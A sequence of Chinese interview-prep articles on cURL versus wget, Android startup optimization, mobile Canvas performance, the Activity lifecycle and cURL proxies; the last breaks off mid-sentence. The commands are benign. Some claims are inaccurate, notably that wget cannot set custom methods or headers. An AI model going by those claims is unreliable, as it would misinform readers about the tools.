cURL 和 wget 是 Linux 系统中最常用的两个命令行网络工具，面试中经常被放在一起考察。很多候选人只能说出"cURL 能测 API，wget 能递归下载"，但这远远不够。这道题的真正考点在于理解两个工具的设计哲学差异以及底层架构不同如何决定了它们各自的适用场景。一句话概括核心区别cURL 是网络传输的瑞士军刀，wget 是文件下载的可靠管家。cURL 的设计目标是做一个通用的数据传输工具——它不关心你传什么、怎么传，只管把数据从 A 搬到 B。wget 的设计目标是可靠地下载文件——网络断了自动重试，链接坏了自动转换，一切都为了让文件安稳落地。这个底层设计哲学的差异，直接导致了两者在协议支持、功能特性和使用场景上的全面分歧。核心差异对比| 维度 | cURL | wget ||------|------|------|| 设计目标 | 通用数据传输 | 可靠文件下载 || 底层架构 | 基于 libcurl 库 | 独立程序，无库形式 || 协议支持 | 20+ 种（HTTP/1.1、HTTP/2、HTTP/3、FTP、SFTP、SCP、SMTP、LDAP 等） | HTTP/HTTPS/FTP || 数据方向 | 双向（上传 + 下载） | 单向（仅下载） || 递归下载 | 不支持 | 支持，可镜像整站 || 并行传输 | 支持（7.66+ 版本 -Z 参数） | 不支持 || 后台下载 | 需配合 nohup | 原生支持 -b || 输出方式 | 默认输出到 stdout | 默认保存为文件 || 重定向处理 | 需手动加 -L | 自动跟随 || 库集成 | libcurl 可嵌入应用程序 | 无库形式，无法嵌入 |协议支持：为什么 cURL 能做 wget 做不了的事cURL 支持超过 20 种协议，这意味着它不仅是 HTTP 客户端，还能发送邮件、操作 LDAP 目录、通过 SFTP/SCP 传输文件：# 通过 SMTP 发送邮件curl smtp://mail.example.com --mail-from sender@test.com --mail-rcpt receiver@test.com -T mail.txt# SFTP 上传文件（wget 完全不支持上传）curl -T backup.tar.gz sftp://user@host.example.com/backup/# 查询 LDAP 目录curl ldap://ldap.example.com/cn=admin,dc=example,dc=comwget 只支持 HTTP/HTTPS/FTP 三种协议。这不是偷懒，而是设计上的取舍——专注做好下载这一件事。递归下载：wget 的杀手级特性递归下载是 wget 独有的能力，也是它和 cURL 最大的功能分界线：# 镜像整个网站（最常用的递归下载场景）wget --mirror --convert-links --adjust-extension --page-requisites --no-parent https://example.com/docs/# 从文件列表批量下载wget -i download-urls.txt# 限定深度递归wget --recursive --level=2 --no-parent https://example.com/data/cURL 无法递归下载。如果你需要对网站做离线备份、数据抓取或批量归档，wget 是唯一的选择。API 交互：cURL 的主场cURL 在 API 开发测试领域几乎是事实标准。大多数 API 文档的示例代码都用 cURL 编写，这不是偶然：# 发送 JSON 请求curl -X POST https://api.example.com/users -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9" -d '{"name":"test","role":"admin"}'# 只看响应头（调试必备）curl -I https://api.example.com/health# 提取 HTTP 状态码（脚本判断用）curl -s -o /dev/null -w "%{http_code}" https://api.example.com/statuswget 虽然也能发 POST 请求（--post-data），但不支持自定义请求方法、无法设置复杂 Header、不能方便地查看响应细节，在实际 API 调试中几乎不可用。底层架构差异：libcurl vs 独立程序这是面试中能拉开差距的知识点。cURL 基于 libcurl 库。libcurl 是一个成熟的跨平台 C 库，提供了稳定的 API 接口，几乎所有主流编程语言都有对应的绑定（Python 的 pycurl、PHP 的 curl 扩展、Node.js 的 node-libcurl 等）。这意味着你在代码中用这些库发 HTTP 请求时，底层跑的就是 libcurl，和命令行的 cURL 是同一套实现。wget 没有库形式。它是一个独立的命令行程序，无法嵌入到应用程序中。如果你需要在代码中实现下载功能，要么自己写 HTTP 逻辑，要么用 libcurl。# 验证：Python 的 requests 库底层不是 libcurl# 但 pycurl 是 libcurl 的 Python 绑定import pycurl # 底层就是 libcurl这个架构差异也解释了为什么 Docker 官方镜像和大多数 CI/CD 环境预装的是 cURL 而不是 wget——因为很多构建工具依赖 libcurl。现代特性对比cURL 在持续演进，许多现代特性 wget 尚不支持：| 特性 | cURL | wget ||------|------|------|| HTTP/2 | 支持（--http2） | 不支持 || HTTP/3 (QUIC) | 支持（--http3） | 不支持 || 并行传输 | 支持（-Z） | 不支持 || 自动解压 | gzip/brotli/zstd | gzip || SOCKS 代理 | SOCKS4/SOCKS5 | 不支持 || 多种认证 | Basic/Digest/NTLM/AWS v4 | Basic/Digest |生产环境中的常见坑坑 1：cURL 不自动跟随重定向很多 API 会返回 301/302 重定向，cURL 默认不会跟随，导致你以为请求失败了：# 错误：返回 301 但不跳转curl https://example.com/old-api# 正确：加 -L 跟随重定向curl -L https://example.com/old-apiwget 默认自动跟随重定向，不需要额外参数。坑 2：wget 下载大文件磁盘不够wget 默认行为是直接把响应写入文件，如果磁盘空间不足会下载失败且留下不完整的文件：# 先检查文件大小再决定是否下载wget --spider https://example.com/huge-file.zip 2>&1 | grep Length坑 3：cURL 在脚本中不检查 HTTP 错误码cURL 默认不会因为 4xx/5xx 而返回非零退出码，这在脚本中容易漏掉错误：# 错误：脚本不会因 404 而中断curl https://api.example.com/not-exist# 正确：加 --fail 让 4xx/5xx 返回非零退出码curl --fail https://api.example.com/not-exist坑 4：Docker 构建中用 wget 代替 cURL某些精简 Docker 镜像没有预装 cURL，有人会改用 wget 测试连通性。但 wget 的输出格式不同，且不支持 -I（只看头部），推荐在 Dockerfile 中安装 cURL：RUN apt-get update && apt-get install -y curl --no-install-recommends面试回答模板简短版（30 秒）：cURL 是通用网络传输工具，支持 20+ 协议，基于 libcurl 库可嵌入应用，擅长 API 交互和双向数据传输；wget 是专注文件下载的工具，支持递归下载和网站镜像，擅长批量下载和后台任务。选 cURL 做接口调试和脚本自动化，选 wget 做文件下载和站点归档。详细版（2 分钟）：在简短版基础上补充三点：一是底层架构差异，cURL 基于 libcurl 库可被程序调用，wget 是独立程序无法嵌入；二是现代特性，cURL 已支持 HTTP/2、HTTP/3 和并行传输，wget 在协议层面更新较慢；三是常见陷阱，比如 cURL 不自动跟随重定向需要加 -L，以及 --fail 参数在脚本中的重要性。选择决策速查| 场景 | 推荐 | 原因 ||------|------|------|| API 开发调试 | cURL | 方法/头部/认证灵活可控 || 简单文件下载 | 两者皆可 | wget 更直觉，cURL 更可控 || 网站离线镜像 | wget | 递归下载能力不可替代 || 多协议传输 | cURL | 支持 SFTP/SCP/SMTP 等 || 脚本自动化 | cURL | 输出灵活，适合管道处理 || 批量下载 | wget | -i 参数支持从文件读 URL || Docker/CI 环境 | cURL | 预装率高，libcurl 被广泛依赖 || 后台无人值守下载 | wget | -b 原生后台支持 |实际工作中两者都应掌握。cURL 更适合开发者的日常交互，wget 更适合运维的批量下载场景。如果只能装一个，选 cURL——它的能力范围更广，且 libcurl 是很多工具链的底层依赖。

Android应用启动优化详解应用启动速度直接影响用户的第一印象。Google 的调研数据显示，启动时间每增加 100ms，转化率下降约 1.5%。在面试中，启动优化是 Android 性能优化板块的高频考点，需要从原理到实战都有清晰的理解。启动类型冷启动（Cold Start）应用进程不存在，系统从零开始创建。完整链路：点击图标 → Zygote fork 进程 → ActivityThread.main() → Application.attachBaseContext() → Application.onCreate() → Activity 生命周期 → ViewRootImpl.performTraversals() → 首帧绘制冷启动是优化的核心目标，耗时最长，用户感知最明显。热启动（Hot Start）应用仍在后台，Activity 实例未销毁，直接从后台恢复。几乎无额外开销。温启动（Warm Start）进程已被系统回收，但 Activity 记录仍保留在任务栈中。需要重建进程和 Application，但可跳过部分 Activity 初始化。冷启动流程与时序Click Launcher Icon ↓Zygote Fork App Process (100-200ms) ↓ActivityThread.main() ↓Application.attachBaseContext() ← 最早可插桩的时机 ↓Application.onCreate() ← 优化主战场 ↓ContentProvider.onCreate() ← 容易被忽视的耗时点 ↓Activity.onCreate() ↓onStart() → onResume() ↓ViewRootImpl.performTraversals() ↓First Frame Drawn ← 启动完成标志重点关注两个阶段：Application.onCreate() 和 ContentProvider.onCreate()。很多第三方 SDK 通过 ContentProvider 静默初始化，这是隐性的启动耗时来源。核心优化策略1. Application 延迟与异步初始化原则：主线程只做必要初始化，其余全部延迟或异步处理。class MyApplication : Application() { override fun onCreate() { super.onCreate() // 必须在主线程同步初始化的（如 CrashSDK） CrashReport.init(this) // 异步初始化：不依赖主线程的 SDK val ioScope = CoroutineScope(Dispatchers.IO + SupervisorJob()) ioScope.launch { AnalyticsSDK.init(this@MyApplication) PushService.init(this@MyApplication) } // 延迟初始化：首帧之后才需要的 mainHandler.postDelayed({ ImageLoader.init(this@MyApplication) }, 1000) }}注意异步初始化的线程安全： 如果多个异步任务之间有依赖关系，不要简单用线程池，应使用 Jetpack App Startup 或协程的 join() 管理时序。2. Jetpack App StartupApp Startup 统一管理 ContentProvider 初始化，减少 ContentProvider 数量，并支持声明依赖关系：// 定义初始化器class AnalyticsInitializer : Initializer<Unit> { override fun create(context: Context) { AnalyticsSDK.init(context) } override fun dependencies(): List<Class<out Initializer<*>>> { return emptyList() // 声明依赖的其他 Initializer }}// 在 AndroidManifest 中移除 SDK 自带的 ContentProvider// 改为统一通过 App Startup 管理// <provider android:name="androidx.startup.InitializationProvider"// android:authorities="${applicationId}.androidx-startup"// android:exported="false"// tools:node="merge">// <meta-data android:name="com.example.AnalyticsInitializer"// android:value="androidx.startup" />// </provider>优势： 将多个 ContentProvider 合并为一个，减少启动时 ContentProvider 的遍历开销。3. Baseline Profiles（关键优化，提升 20-30%）Baseline Profiles 是 Android 7.0+ (ART) 的提前编译机制。通过在开发阶段生成关键代码路径的编译配置，让 ART 在安装时直接编译这些热点代码为机器码，跳过 JIT 解释执行：// 1. 添加依赖// implementation("androidx.profileinstaller:profileinstaller:1.3.1")// implementation("androidx.benchmark:benchmark-macro-junit4:1.2.3")// 2. 生成 Baseline Profile（在 androidTest 中运行）@RunWith(AndroidJUnit4::class)class BaselineProfileGenerator { @get:Rule val rule = BaselineProfileRule() @Test fun generate() { rule.collect( packageName = "com.example.app", includeInStartupProfile = true ) { startActivityAndWait() // 模拟用户关键操作路径 } }}// 3. 生成的 baseline-prof.txt 会随 APK 发布// ART 安装时预编译这些类和方法实测数据： 根据Google官方基准测试，配合 Baseline Profiles 可使冷启动时间减少 20-30%。在 AGP 8.0+ 中，新建项目默认集成。4. 布局优化减少布局层级：<!-- 优先使用 ConstraintLayout，减少嵌套层级 --><androidx.constraintlayout.widget.ConstraintLayout android:layout_width="match_parent" android:layout_height="match_parent"> <!-- 扁平化布局，避免 LinearLayout 嵌套 --></androidx.constraintlayout.widget.ConstraintLayout>ViewStub 延迟加载非首屏布局：<ViewStub android:id="@+id/stub_detail_panel" android:layout="@layout/detail_panel" android:layout_width="match_parent" android:layout_height="wrap_content" />// 需要时才 inflatebinding.stubDetailPanel.inflate()AsyncLayoutInflater 异步加载布局：AsyncLayoutInflater(this).inflate(R.layout.activity_main, null) { view, _, _ -> setContentView(view)}注意：AsyncLayoutInflater 不支持设置 Factory，且 inflate 完成前不能操作 View。5. 黑白屏优化冷启动时，系统先创建空白 Window 显示背景色（黑或白），直到首帧绘制完成。传统方案：设置启动页背景<style name="LaunchTheme" parent="Theme.AppCompat.Light.NoActionBar"> <item name="android:windowBackground">@drawable/launch_background</item></style>Android 12+ SplashScreen API（必须适配）：Android 12 强制所有应用使用 SplashScreen，传统透明主题方案失效：// 在 Activity 中定制退出动画class MainActivity : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) { val splashScreen = installSplashScreen() super.onCreate(savedInstanceState) // 控制 SplashScreen 保持到数据加载完成 splashScreen.setKeepOnScreenCondition { !viewModel.isDataReady.value!! } // 定制退出动画 splashScreen.setOnExitAnimationListener { splashScreenView -> // 自定义退出动画 splashScreenView.remove() } }}6. 启动耗时测量adb 命令（快速查看）：adb shell am start -W com.example/.MainActivity# 输出：WaitTime, TotalTime 等指标# TotalTime = 应用自身启动耗时adb logcat -s ActivityManager | grep "Displayed"# 输出：Displayed com.example/.MainActivity: +1s234ms代码打点（精确分段）：class MyApplication : Application() { override fun attachBaseContext(base: Context?) { super.attachBaseContext(base) StartTrace.begin("attachBaseContext") } override fun onCreate() { StartTrace.begin("Application.onCreate") super.onCreate() // ...初始化逻辑 StartTrace.end("Application.onCreate") }}Systrace / Perfetto（系统级分析）：# 使用 Perfetto（Systrace 的替代）adb shell perfetto -c - --txt <<EOFbuffers: { size_kb: 65536 }data_sources: { config { name: "linux.ftrace" } }duration_ms: 10000EOFMacrobenchmark（自动化性能测试）：@RunWith(AndroidJUnit4::class)class StartupBenchmark { @get:Rule val rule = MacrobenchmarkRule() @Test fun startupNoCompilation() = benchmarkStartup(CompilationMode.None()) @Test fun startupWithBaselineProfiles() = benchmarkStartup( CompilationMode.Partial(BaselineProfileMode.Require) ) private fun benchmarkStartup(compilationMode: CompilationMode) { rule.measureRepeated( packageName = "com.example.app", metrics = listOf(StartupTimingMetric()), compilationMode = compilationMode, iterations = 10 ) { startActivityAndWait() } }}面试核心回答问：Android 冷启动太慢怎么优化？核心思路是减少主线程在首帧绘制前的阻塞时间，从三个方向入手：削减主线程工作量：Application.onCreate() 中只保留必须同步初始化的 SDK，其余全部异步或延迟。重点排查 ContentProvider 隐式初始化，用 App Startup 统一管理。加速代码执行：使用 Baseline Profiles 让 ART 提前编译启动路径上的热点代码，实测可减少 20-30% 冷启动时间。优化用户感知：通过 SplashScreen API（Android 12+ 必须适配）展示品牌启动画面，消除黑白屏等待。测量工具链：adb shell am start -W 快速查看 TotalTime，Perfetto/Macrobenchmark 做精细化分析。追问：多个异步初始化任务有依赖关系怎么处理？用 App Startup 声明 dependencies() 管理时序，或用协程的 async + await 控制依赖顺序。不要用 CountDownLatch 等阻塞方式，会拖慢主线程。追问：Baseline Profiles 的原理是什么？ART 运行时默认使用 JIT 解释执行字节码，热点代码才编译为机器码。Baseline Profiles 在安装阶段就告诉 ART 哪些类和方法是启动路径上的热点，直接 AOT 编译，避免运行时 JIT 的开销。这与 AGP 8.0+ 的 baseline-prof.txt 集成，安装时自动应用。

移动端 Canvas 的核心性能瓶颈移动端 Canvas 渲染面临三大核心瓶颈：GPU 算力受限、内存带宽紧张、主线程易阻塞。理解这三个瓶颈，是制定优化策略的前提。GPU 算力受限意味着同一帧内能完成的像素填充量有限。中低端设备的 GPU 填充率可能只有高端设备的 1/3 到 1/5，一个在 iPhone 15 上流畅的粒子效果，在 Redmi Note 上可能直接掉到 20fps 以下。内存带宽紧张则影响纹理采样和帧缓冲读写。Canvas 的每一次 drawImage 和渐变填充都需要从显存读取纹理数据，当画面元素过多时，带宽成为瓶颈，表现为帧率随元素数量线性下降。主线程易阻塞是因为 Canvas 2D 的所有绘制调用都在主线程执行。一旦某帧绘制耗时超过 16ms，就会掉帧，而移动端 CPU 单核性能弱，更容易触碰这个上限。绘制优化：减少 GPU 工作量脏矩形重绘不要每帧清空并重绘整个 Canvas，只重绘发生变化（脏）的区域：// 记录脏区域const dirtyRect = { x: 0, y: 0, w: 0, h: 0 };function markDirty(x, y, w, h) { // 合并脏区域（简化实现：取并集矩形） if (dirtyRect.w === 0) { dirtyRect.x = x; dirtyRect.y = y; dirtyRect.w = w; dirtyRect.h = h; } else { const x1 = Math.min(dirtyRect.x, x); const y1 = Math.min(dirtyRect.y, y); const x2 = Math.max(dirtyRect.x + dirtyRect.w, x + w); const y2 = Math.max(dirtyRect.y + dirtyRect.h, y + h); dirtyRect.x = x1; dirtyRect.y = y1; dirtyRect.w = x2 - x1; dirtyRect.h = y2 - y1; }}function render() { if (dirtyRect.w > 0) { ctx.save(); ctx.beginPath(); ctx.rect(dirtyRect.x, dirtyRect.y, dirtyRect.w, dirtyRect.h); ctx.clip(); ctx.clearRect(dirtyRect.x, dirtyRect.y, dirtyRect.w, dirtyRect.h); // 仅重绘脏区域内的元素 drawDirtyElements(dirtyRect); ctx.restore(); dirtyRect.w = 0; dirtyRect.h = 0; } requestAnimationFrame(render);}脏矩形在元素少、变化局部时效果显著，可将重绘面积减少 80% 以上。但当脏区域分散或全屏都在变化时（如全屏粒子），效果有限，此时应考虑分层策略。离屏 Canvas 缓存将不频繁变化的静态内容预渲染到离屏 Canvas，主循环只需 drawImage 一次即可完成绘制：const offscreen = document.createElement('canvas');const offCtx = offscreen.getContext('2d');// 初始化时渲染静态内容function initStaticLayer() { offscreen.width = canvas.width; offscreen.height = canvas.height; drawBackground(offCtx); drawStaticUI(offCtx);}// 主渲染循环function render() { ctx.drawImage(offscreen, 0, 0); // 一次调用替代数百次绘制 drawDynamicElements(ctx); requestAnimationFrame(render);}关键点：离屏 Canvas 的尺寸不要超过实际需要，因为显存占用 = width × height × 4 bytes。一张 1080×1920 的离屏 Canvas 就占约 8MB 显存。批量绘制与路径合并减少状态切换和绘制调用次数。每次改变 fillStyle、strokeStyle、font 等属性都会触发 GPU 管线状态变更，这在移动端开销很大：// 不推荐：频繁切换样式particles.forEach(p => { ctx.fillStyle = p.color; // 每次切换 fillStyle ctx.fillRect(p.x, p.y, p.size, p.size);});// 推荐：按颜色分组，减少状态切换const grouped = groupBy(particles, 'color');Object.entries(grouped).forEach(([color, items]) => { ctx.fillStyle = color; // 每种颜色只设置一次 ctx.beginPath(); items.forEach(p => { ctx.rect(p.x, p.y, p.size, p.size); }); ctx.fill();});分层渲染：用合成代替重绘浏览器渲染管线中，合成（compositing）由 GPU 完成，代价远低于 Canvas 重绘。利用这一机制，将画面拆分到多个 Canvas 层，静态层不重绘，只有动态层更新：// 创建分层 Canvasconst bgLayer = createLayer('bg'); // 静态背景层const mainLayer = createLayer('main'); // 主交互层const fxLayer = createLayer('fx'); // 特效层// 静态层只渲染一次renderBackground(bgLayer.ctx);// 动态层每帧更新function render() { clearLayer(mainLayer); drawPlayer(mainLayer.ctx); drawEnemies(mainLayer.ctx); clearLayer(fxLayer); drawParticles(fxLayer.ctx); requestAnimationFrame(render);}分层时用 CSS position: absolute 叠放，每层独立 CSS 合成。注意层数不要超过 3-4 层，因为每增加一层都多一份显存开销和合成成本。设备像素比适配高 DPI 屏幕是移动端 Canvas 性能的重灾区。一块 3 倍屏（devicePixelRatio = 3）意味着同样逻辑尺寸的 Canvas 实际像素数是 1 倍屏的 9 倍：const dpr = window.devicePixelRatio || 1;// 方案一：完整适配（画质最优，性能消耗大）canvas.width = logicalWidth * dpr;canvas.height = logicalHeight * dpr;canvas.style.width = logicalWidth + 'px';canvas.style.height = logicalHeight + 'px';ctx.scale(dpr, dpr);// 方案二：降采样适配（平衡画质与性能）const renderDpr = Math.min(dpr, 2); // 上限 2 倍canvas.width = logicalWidth * renderDpr;canvas.height = logicalHeight * renderDpr;canvas.style.width = logicalWidth + 'px';canvas.style.height = logicalHeight + 'px';ctx.scale(renderDpr, renderDpr);面试要点：3 倍屏上用完整适配，Canvas 显存占用是 1 倍屏的 9 倍。对于性能敏感场景（游戏、复杂动画），建议将渲染分辨率限制在 2 倍 DPR，视觉差异在移动端屏幕上几乎不可感知。内存管理对象池Canvas 应用中频繁创建和销毁对象（子弹、粒子、动画精灵）会触发 GC，导致帧率卡顿。对象池通过复用对象来规避：class ObjectPool { constructor(factory, initialSize = 50) { this.factory = factory; this.pool = []; for (let i = 0; i < initialSize; i++) { this.pool.push(factory()); } } acquire() { return this.pool.length > 0 ? this.pool.pop() : this.factory(); } release(obj) { obj.reset?.(); this.pool.push(obj); }}// 使用示例const bulletPool = new ObjectPool(() => new Bullet(), 100);function fireBullet() { const bullet = bulletPool.acquire(); bullet.init(player.x, player.y, player.angle); activeBullets.push(bullet);}function removeBullet(bullet) { bulletPool.release(bullet); activeBullets.splice(activeBullets.indexOf(bullet), 1);}资源释放Canvas 和 Image 对象不会自动释放，必须手动处理：function releaseCanvas(target) { target.width = 0; target.height = 0;}function releaseImage(img) { img.src = ''; img.onload = null; img.onerror = null;}将 Canvas 尺寸设为 0 可以立即释放其关联的 GPU 缓冲区，这是最可靠的释放方式。主线程卸载：Web Workers + OffscreenCanvasCanvas 2D 绘制本身无法移到 Worker 中执行，但计算密集型任务可以：// 主线程const worker = new Worker('physics-worker.js');worker.onmessage = (e) => { const { positions } = e.data; renderFrame(positions); requestAnimationFrame(tick);};function tick() { worker.postMessage({ type: 'update', deltaTime: lastDelta });}// Worker 线程 (physics-worker.js)self.onmessage = (e) => { if (e.data.type === 'update') { const positions = updatePhysics(e.data.deltaTime); self.postMessage({ positions }); }};在支持 OffscreenCanvas 的浏览器中（Chrome、Firefox 已支持，Safari 17+ 支持），可以直接在 Worker 中完成绘制：const offscreen = canvas.transferControlToOffscreen();worker.postMessage({ type: 'init', canvas: offscreen }, [offscreen]);// Worker 中直接绘制self.onmessage = (e) => { if (e.data.type === 'init') { const ctx = e.data.canvas.getContext('2d'); // 完全在 Worker 中完成绘制，主线程零开销 }};注意：Worker 和主线程之间的数据传输采用结构化克隆，大量数据传输本身有开销。对于共享内存场景，可使用 SharedArrayBuffer。触摸事件优化移动端触摸事件处理不当会显著影响渲染性能：// 1. 使用 passive 监听器避免阻塞浏览器滚动合成canvas.addEventListener('touchmove', onTouchMove, { passive: true });// 2. 节流触摸事件处理let lastTouchTime = 0;const TOUCH_SAMPLE_INTERVAL = 16; // 约 60fpsfunction onTouchMove(e) { const now = performance.now(); if (now - lastTouchTime < TOUCH_SAMPLE_INTERVAL) return; lastTouchTime = now; const touch = e.touches[0]; processTouch(touch.clientX, touch.clientY);}// 3. 阻止默认行为时才取消 passivecanvas.addEventListener('touchstart', (e) => { e.preventDefault(); // 阻止滚动/缩放}, { passive: false });passive: true 让浏览器不必等待事件处理函数执行完就可以开始滚动合成，这对移动端触摸响应至关重要。降级与自适应策略针对不同性能水平的设备，应采用分级渲染策略：function detectPerformanceLevel() { const canvas = document.createElement('canvas'); const ctx = canvas.getContext('2d'); canvas.width = 256; canvas.height = 256; const start = performance.now(); for (let i = 0; i < 1000; i++) { ctx.fillStyle = `hsl(${i % 360}, 50%, 50%)`; ctx.fillRect(0, 0, 256, 256); } const elapsed = performance.now() - start; // 根据绘制耗时分级 if (elapsed < 10) return 'high'; if (elapsed < 30) return 'medium'; return 'low';}const level = detectPerformanceLevel();const config = { high: { maxParticles: 200, dpr: Math.min(devicePixelRatio, 3), shadows: true }, medium: { maxParticles: 100, dpr: Math.min(devicePixelRatio, 2), shadows: false }, low: { maxParticles: 50, dpr: 1, shadows: false },}[level];高开销操作避坑以下操作在移动端的开销远超桌面端，需要特别注意：| 操作 | 开销原因 | 替代方案 ||------|---------|---------|| shadowBlur / shadowColor | 每次绘制触发额外高斯模糊 pass | 用预渲染的阴影图片代替 || getImageData() / putImageData() | CPU-GPU 数据往返，同步阻塞 | 减少调用频率，或用 WebGL readPixels || 浮点坐标 | 触发亚像素抗锯齿，增加 4 倍填充量 | Math.floor() 或 | 0 取整 || ctx.filter | 实时滤镜计算量大 | 预渲染滤镜效果到离屏 Canvas || 频繁 save()/restore() | 状态栈操作开销 | 手动管理状态，减少调用次数 |其中 浮点坐标 是最容易被忽视的性能杀手。一个坐标从 10 变成 10.5，Canvas 引擎就需要对周围像素做抗锯齿混合，实际填充像素数可能增加 4 倍。在高频调用的绘制循环中，务必对所有坐标取整。面试追问方向Q: 脏矩形在什么场景下失效？全屏粒子、大量分散的动态元素、背景持续变化等场景下，脏区域几乎覆盖全屏，局部重绘失去意义，应转用分层策略。Q: 离屏 Canvas 和 CSS 分层各适合什么场景？离屏 Canvas 适合在同一个 Canvas 内需要多次复用的静态图形；CSS 分层适合不同更新频率的内容（如背景层和交互层），让浏览器合成器处理层间叠加。Q: 如何量化判断一个 Canvas 应用是否需要优化？核心指标：帧率是否稳定在 60fps（每帧 ≤16ms）、是否存在帧时间毛刺（可用 performance.now() 逐帧打点）、GPU 内存占用是否可控（单 Canvas 建议 ≤20MB）、是否存在频繁 GC 暂停。

7个核心回调方法Activity生命周期是Android面试的高频考点，理解每个回调的触发时机和正确用法，是写出稳定应用的基础。onCreate()Activity首次创建时调用。这是生命周期的入口，执行一次性的初始化工作：加载布局（setContentView）、初始化变量、恢复保存的状态。override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) // 恢复保存的状态 if (savedInstanceState != null) { val value = savedInstanceState.getString("key") }}注意：此时Activity尚未可见，不要在这里启动动画或执行需要可见UI的操作。onStart()Activity即将变为可见时调用。此时Activity已经出现在屏幕上，但用户还无法与之交互。适合做轻量级的准备工作，比如注册广播接收器、初始化UI动画。Activity从停止状态回到前台时也会经过此方法，因此onStart()中的逻辑每次可见都会执行，不要放只应执行一次的初始化代码。onResume()Activity获得焦点、可以与用户交互时调用。此时Activity位于前台，处于活跃状态。需要独占资源的操作——比如打开相机、开始GPS定位、注册传感器监听——都在这里启动。override fun onResume() { super.onResume() cameraManager.openCamera(cameraId, stateCallback, backgroundHandler) sensorManager.registerListener(this, accelerometer, SensorManager.SENSOR_DELAY_NORMAL)}onPause()Activity失去焦点时调用。此时Activity可能仍然部分可见（比如被透明或浮层Activity遮挡），但用户无法与之交互。这是保存未提交数据和释放非关键资源的安全位置。关键约束：onPause()必须快速执行。系统在前一个Activity的onPause()返回之前，不会启动新的Activity。如果在这里执行耗时操作（网络请求、数据库写入），会直接卡住界面切换。override fun onPause() { super.onPause() // 停止相机预览，释放独占资源 camera?.stopPreview() sensorManager.unregisterListener(this)}onStop()Activity完全不可见时调用。与onPause()的区别：onPause()时Activity可能还部分可见，onStop()时已完全被遮挡。适合释放不再需要的资源：注销广播、停止动画、持久化数据。如果系统内存紧张，onStop()之后Activity可能被直接回收，不会再走到onDestroy()。因此关键数据的持久化不要拖到onDestroy()。onDestroy()Activity被销毁前的最后回调。执行最终的资源清理：关闭数据库连接、释放文件句柄、取消网络请求。可以通过isFinishing()判断是正常结束（用户按返回键）还是系统配置变更导致的重建：override fun onDestroy() { super.onDestroy() if (isFinishing) { // 用户主动退出，彻底清理 releaseAllResources() } // 配置变更导致的销毁，ViewModel中的数据不需要清理}onRestart()Activity从停止状态重新启动时调用，之后会走onStart() → onResume()。这个回调使用频率不高，主要用于在Activity重新可见前做一些恢复工作，比如刷新可能过时的UI数据。典型场景下的生命周期流程| 场景 | 回调顺序 ||------|----------|| 首次打开 | onCreate → onStart → onResume || 跳转到其他Activity | 当前Activity: onPause → onStop || 从其他Activity返回 | onRestart → onStart → onResume || 按Home键切到后台 | onPause → onStop || 从后台回到前台 | onRestart → onStart → onResume || 按返回键退出 | onPause → onStop → onDestroy || 弹出Dialog | 不触发生命周期回调（Activity仍有焦点） || 弹出全屏Dialog | onPause →（关闭后）→ onResume || 横竖屏切换（默认） | onPause → onStop → onDestroy → onCreate → onStart → onResume || 横竖屏切换（configChanges） | onConfigurationChanged，不重建 |面试高频追问两个Activity跳转时，生命周期回调的先后顺序是什么？从Activity A跳转到Activity B，执行顺序是：A.onPause → B.onCreate → B.onStart → B.onResume → A.onStop注意：是A的onPause先执行完，B才开始创建。这再次说明onPause不能做耗时操作。onSaveInstanceState和onRestoreInstanceState在什么时候调用？onSaveInstanceState在Activity可能被系统回收之前调用，确保在onStop之前。典型场景：按Home键、切换到其他Activity、屏幕旋转。onRestoreInstanceState在Activity被重建后、onStart之后调用。只有当系统确实回收并重建了Activity时才会触发，正常创建不会调用。override fun onSaveInstanceState(outState: Bundle) { super.onSaveInstanceState(outState) outState.putString("edit_text_content", editText.text.toString())}override fun onRestoreInstanceState(savedInstanceState: Bundle) { super.onRestoreInstanceState(savedInstanceState) val content = savedInstanceState.getString("edit_text_content") editText.setText(content)}也可以在onCreate中通过判断savedInstanceState是否为null来恢复数据，但onRestoreInstanceState更安全——它保证了Bundle一定非空。如何避免横竖屏切换时Activity重建？在AndroidManifest中为Activity添加configChanges属性：<activity android:name=".MainActivity" android:configChanges="orientation|screenSize|keyboardHidden" />这样屏幕旋转时只回调onConfigurationChanged，不会走销毁重建流程。但更推荐的做法是配合ViewModel，让数据在配置变更时自动保留，而不是禁止重建。ViewModel与生命周期的关系是什么？ViewModel的生命周期独立于Activity的配置变更。当Activity因横竖屏切换而销毁重建时，ViewModel不会被清除，新创建的Activity实例会拿到同一个ViewModel对象。只有当Activity真正结束（isFinishing为true）时，ViewModel的onCleared()才会被调用。这就是为什么推荐用ViewModel保存UI数据，而不是用onSaveInstanceState——前者能保留任意大小的对象，后者只能存少量可序列化数据。

代理是 cURL 在企业网络和调试场景中的核心能力。掌握代理配置，才能在内网受限、抓包分析、隐私保护等场景下灵活使用 cURL。代理的工作原理cURL 通过代理服务器中转请求，流程是：cURL → 代理服务器 → 目标服务器。HTTP 代理对 HTTP 请求直接转发，对 HTTPS 请求使用 CONNECT 方法建立隧道；SOCKS 代理则在传输层转发流量，不关心上层协议。理解这点很重要：HTTP 代理转发 HTTPS 时，代理看不到请求内容，因为它只建立了一条加密隧道。这也是为什么 HTTPS 代理和 SOCKS5h 更适合隐私敏感场景。基本代理设置# HTTP 代理curl -x http://proxy.example.com:8080 https://api.example.comcurl --proxy http://proxy.example.com:8080 https://api.example.com# HTTPS 代理（代理连接本身加密）curl -x https://proxy.example.com:443 https://api.example.com# SOCKS5 代理curl -x socks5://proxy.example.com:1080 https://api.example.com# SOCKS5h（DNS 由代理服务器解析，防止 DNS 泄露）curl -x socks5h://proxy.example.com:1080 https://api.example.com-x 和 --proxy 完全等价。socks5 和 socks5h 的区别在于 DNS 解析位置：前者由本地解析，后者由代理服务器解析。如果你在意隐私，始终优先用 socks5h。代理类型怎么选| 代理类型 | 协议格式 | 核心区别 | 适用场景 || -------- | -------- | -------- | -------- || HTTP | http:// | 明文连接代理，HTTPS 请求走 CONNECT 隧道 | 企业缓存代理、简单转发 || HTTPS | https:// | 到代理的连接加密 | 需要加密代理通信的场景 || SOCKS4 | socks4:// | 仅 TCP 转发，无认证 | 旧系统兼容 || SOCKS5 | socks5:// | 支持 UDP 和多种认证方式 | 通用代理 || SOCKS5h | socks5h:// | DNS 由代理端解析 | 隐私保护、防 DNS 泄露 |选型建议：日常开发用 HTTP 代理即可；需要 UDP 